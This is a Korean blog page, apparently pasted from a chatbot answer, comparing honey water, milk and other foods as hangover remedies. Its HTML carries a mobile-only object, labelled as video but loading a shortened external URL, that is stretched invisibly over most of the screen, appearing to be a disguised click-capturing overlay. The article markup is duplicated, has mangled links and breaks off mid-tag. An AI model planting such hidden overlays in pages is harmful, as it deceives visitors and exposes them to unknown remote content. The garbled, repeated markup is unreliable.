숙취 음식 음료 꿀물 우유 뭐가 좋나요?

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3i" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c4215967209="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:39">숙취 해소에 좋은 음식과 음료, 꿀물과 우유 중 뭐가 좋을까요?</h2><p data-sourcepos="3:1-3:71">술 마신 다음 날, 숙취로 고생하시는 분들 많으시죠? ‍ 숙취 해소에 좋은 음식과 음료가 궁금하시다면, 지금부터 알려드릴게요!</p><p data-sourcepos="5:1-5:20"><strong>숙취 해소에 좋은 음식과 음료</strong></p><p data-sourcepos="7:1-7:115">숙취는 알코올 대사 과정에서 생긴 아세트알데히드라는 독성 물질 때문에 나타나는 증상입니다. 이러한 독성 물질을 해독하고, 손상된 간 기능을 회복시키는 데 도움이 되는 음식과 음료를 섭취하는 것이 중요합니다.</p><ul data-sourcepos="9:1-23:0"> <li data-sourcepos="9:1-10:19"><strong>꿀물:</strong> 꿀에 함유된 과당 성분이 알코올 분해를 돕고, 잃어버린 수분을 보충해줍니다. 또한, 꿀의 달콤한 맛이 속을 편안하게 해줍니다. <ul data-sourcepos="10:5-10:19"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://i.namu.wiki/i/X8P6KEXIr0pukJHhTx9Xx7XqY9VbBx2KTq5zeL32-WaVlOVcx-D-p7WCi-0e02dZ_ULL_iKjW-AoqjdnFz6zUQ.webp"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%BF%80%EB%AC%BC"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="꿀물 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcRyzVc-siqdn0WBkwe8yUSSRdsORiERJJRfhMMqINbiOANxbZe3yKNU05VBZSLE"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%BF%80%EB%AC%BC" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 꿀물 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="11:1-12:19"><strong>우유:</strong> 우유에 함유된 단백질이 위벽을 보호하고, 칼슘이 신경 안정에 도움을 줍니다. 하지만, 지방 함량이 높은 우유는 소화 부담을 줄 수 있으므로, 저지방 우유를 선택하는 것이 좋습니다. <ul data-sourcepos="12:5-12:19"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://i.namu.wiki/i/B_EoS0GuxkPcIDQ2qMV-8u-UfuZcpibZ2tZlOrbCLB7c6dN1UUH3BxcZM9HPTa2d0z6YUA5rhOcTHEtQOD5avg.webp"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%9A%B0%EC%9C%A0"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="우유 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcR8Hbdle5x8GUv161_vHyZOqyq--0sjuWKjVSpC7NEw7EwH1XxG4A39j8CwLr6u"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%9A%B0%EC%9C%A0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 우유 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="13:1-14:23"><strong>토마토 주스:</strong> 토마토에 함유된 글루타치온이 간 해독 작용을 돕고, 비타민 C가 면역력을 강화시켜줍니다. <ul data-sourcepos="14:5-14:23"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://recipe1.ezmember./cache/recipe/2023/04/16/c1cdd349353aaed4333048123ec484681.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/7000741"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="토마토 주스 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcQ2hF8inbowp28cteXanKLLQwzyJ1IE8Pf_5jfA3RF4lhmYipdmOTniEOrWxYp8"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/7000741" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 토마토 주스 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="15:1-16:20"><strong>바나나:</strong> 바나나에 함유된 칼륨이 체내 나트륨 밸런스를 조절하고, 비타민 B6이 신경 안정에 도움을 줍니다. <ul data-sourcepos="16:5-16:20"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://i.namu.wiki/i/Mj0aArUbJiq5_c500MqmbYyDPWnSiDBCsxbesdkR0XTOtDvwrjj2ponJvctbYgQ7zPE_LvjsJHAl786rZu0tkw.webp"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%B0%94%EB%82%98%EB%82%98"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="바나나 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcSyp_OHLD_jOtgWxMe8djlFJzpwzQWh6xiZPGj9R-bQiGEPy_RpbNqZm8SXB5NR"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%B0%94%EB%82%98%EB%82%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 바나나 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="17:1-18:19"><strong>달걀:</strong> 달걀에 함유된 시스테인이 간 해독을 돕고, 단백질이 손상된 세포를 복구하는 데 도움을 줍니다. <ul data-sourcepos="18:5-18:19"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://image.artbox./upload/C00001/goods/800_800/561/230607003950561.jpg?s=/goods/org/561/230607003950561.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://m.poom./goods/initDetailGoods.action?goods_no=G23060669718"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="달걀 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQBpA042eSHLSXnZAoOzbFt38hS4ljIQs9vBg_ziD1aJgtdBkKixq4S4nQCbPDX"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://m.poom./goods/initDetailGoods.action?goods_no=G23060669718" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcTfAy7Hev7kocFCwaBnPBQnrgQ7K7TUB71uy50XyszTXAsmBIdgMergNPbx4syLLJCIERZRiDtreM1Zkfkd80DN68M_x3rR"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">m.poom.</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 달걀 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="19:1-20:20"><strong>매실차:</strong> 매실에 함유된 구연산이 피로 회복을 돕고, 알칼리성 성분이 위산을 중화시켜줍니다. <ul data-sourcepos="20:5-20:20"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://attach.choroc.com/web/goods/1/img1/015232_20230428154317.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://m.choroc.com/goods/WG015232"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="매실차 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcTs0nzF7qYLwgrmmr54FGgcd1xI4ucyMqV0mRZKlA6BoRHc-gFsxWg-TlNDEmXh"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://m.choroc.com/goods/WG015232" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcQ3p0XQFRTFZ0LuG52VafXpsufoIi1DN_08MXvA2OdEVT95t7kJiLXv9QI8Xae1X4GkYRTdZhidEY3hz7Bomp30Do32rQQc"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">m.choroc.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 매실차 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="21:1-23:0"><strong>녹차:</strong> 녹차에 함유된 카테킨이 항산화 작용을 하고, 알코올 분해를 돕습니다. <ul data-sourcepos="22:5-23:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://i.namu.wiki/i/Asx9I5r7MFtgpzkhILx3fV9oSY8wdXkct2fmrGU5WnfvWzgEDr7KxWXb-UemK_voVlvcjxkpA8y8te83tmrT2w.webp"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%85%B9%EC%B0%A8"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="녹차 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcScR8dznpdH3edV8xsYUovYbQz8MkJNVCOxNuwNWhRcvGrN9OmHx1XY9HmeHCEa"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%85%B9%EC%B0%A8" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 녹차 </div></div></single-image></response-element></div></span> </ul> </li> </ul><p data-sourcepos="24:1-24:30"><strong>꿀물 vs. 우유, 어떤 것을 선택해야 할까요?</strong></p><p data-sourcepos="26:1-26:65">꿀물과 우유 모두 숙취 해소에 도움을 주지만, 개인의 취향과 건강 상태에 따라 적절한 음료를 선택하는 것이 좋습니다.</p><ul data-sourcepos="28:1-30:0"> <li data-sourcepos="28:1-28:32"><strong>꿀물:</strong> 빠른 효과를 원할 때, 속이 메스꺼울 때</li> <li data-sourcepos="29:1-30:0"><strong>우유:</strong> 속이 쓰릴 때, 단백질 보충이 필요할 때</li> </ul><p data-sourcepos="31:1-31:29"><strong>꿀물과 우유 외에 추가적으로 도움이 되는 음식</strong></p><ul data-sourcepos="33:1-37:0"> <li data-sourcepos="33:1-34:20"><strong>해장국:</strong> 콩나물국, 북어국 등 뜨끈한 국물은 속을 편안하게 하고, 영양을 보충해줍니다. <ul data-sourcepos="34:5-34:20"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://recipe1.ezmember./cache/recipe/2015/04/03/4fd902b2a193b9be127591a6626289aa.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/3441973"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="해장국 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcS6rTqLxEUI9QKRyfPGZ5Qe6KiwvLK7BYmDiBlyDEzgpz1KHnCcot_L06n-8opX"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/3441973" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 해장국 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="35:1-37:0"><strong>미역국:</strong> 미역에 함유된 알긴산이 중금속을 배출하고, 요오드가 신진대사를 활성화시켜줍니다. <ul data-sourcepos="36:5-37:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://recipe1.ezmember./cache/recipe/2017/08/29/2bad7206644f82f63d339b11c7344dc61.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6875524"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="미역국 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSZ_KGOP2EA6VzYiN7P2eSkneqJpxENeH3ttyDbROUxI05oXvh8clCQqk50yVoA"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6875524" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_14ec03ee87dffa39&quot;,&quot;c_762d1986883823c9&quot;,null,&quot;rc_6a8a61febb4a8267&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 미역국 </div></div></single-image></response-element></div></span> </ul> </li> </ul><p data-sourcepos="38:1-38:21"><strong>숙취 해소를 위한 추가적인 조언</strong></p><ul data-sourcepos="40:1-43:0"> <li data-sourcepos="40:1-40:45"><strong>충분한 수분 섭취:</strong> 알코올로 인해 탈수된 몸에 충분한 물을 마셔주세요.</li> <li data-sourcepos="41:1-41:40"><strong>충분한 휴식:</strong> 숙면을 취하여 몸을 회복시키는 것이 중요합니다.</li> <li data-sourcepos="42:1-43:0"><strong>음주량 조절:</strong> 숙취를 예방하는 가장 좋은 방법은 과음을 하지 않는 것입니다.</li> </ul><p data-sourcepos="44:1-44:8"><strong>주의사항</strong></p><ul data-sourcepos="46:1-48:0"> <li data-sourcepos="46:1-46:62">개인의 건강 상태에 따라 적합하지 않은 음식이 있을 수 있으므로, 전문가와 상담 후 섭취하는 것이 좋습니다.</li> <li data-sourcepos="47:1-48:0">꿀은 당뇨병 환자의 경우 주의하여 섭취해야 합니다.</li> </ul><p data-sourcepos="49:1-49:26"><strong> 출처:</strong> 픽사베이, Unsplash</p><p data-sourcepos="51:1-51:49"><strong>숙취 해소에 도움이 되는 다양한 음식과 음료를 통해 건강하게 숙취를 이겨내세요!</strong></p><p data-sourcepos="53:1-53:61"><strong>Disclaimer:</strong> 위 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 다를 수 있습니다.</p><p data-sourcepos="55:1-55:52"><strong>참고:</strong> 은 내용과 관련된 시각적인 자료를 제공하기 위한 목적으로 사용되었습니다.</p><p data-sourcepos="57:1-57:51"><strong>추가 정보:</strong> 숙취 해소에 대한 더 자세한 정보는 의료 전문가와 상담하시기 바랍니다.</p><p data-sourcepos="59:1-59:27"><strong>주의:</strong> 과도한 음주는 건강에 해롭습니다.</p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3i" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c4215967209="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:39">숙취 해소에 좋은 음식과 음료, 꿀물과 우유 중 뭐가 좋을까요?</h2><p data-sourcepos="3:1-3:71">술 마신 다음 날, 숙취로 고생하시는 분들 많으시죠? ‍ 숙취 해소에 좋은 음식과 음료가 궁금하시다면, 지금부터 알려드릴게요!</p><p data-sourcepos="5:1-5:20"><strong>숙취 해소에 좋은 음식과 음료</strong></p><p data-sourcepos="7:1-7:115">숙취는 알코올 대사 과정에서 생긴 아세트알데히드라는 독성 물질 때문에 나타나는 증상입니다. 이러한 독성 물질을 해독하고, 손상된 간 기능을 회복시키는 데 도움이 되는 음식과 음료를 섭취하는 것이 중요합니다.</p><ul data-sourcepos="9:1-23:0"> <li data-sourcepos="9:1-10:19"><strong>꿀물:</strong> 꿀에 함유된 과당 성분이 알코올 분해를 돕고, 잃어버린 수분을 보충해줍니다. 또한, 꿀의 달콤한 맛이 속을 편안하게 해줍니다. <ul data-sourcepos="10:5-10:19"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://i.namu.wiki/i/X8P6KEXIr0pukJHhTx9Xx7XqY9VbBx2KTq5zeL32-WaVlOVcx-D-p7WCi-0e02dZ_ULL_iKjW-AoqjdnFz6zUQ.webp"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true" 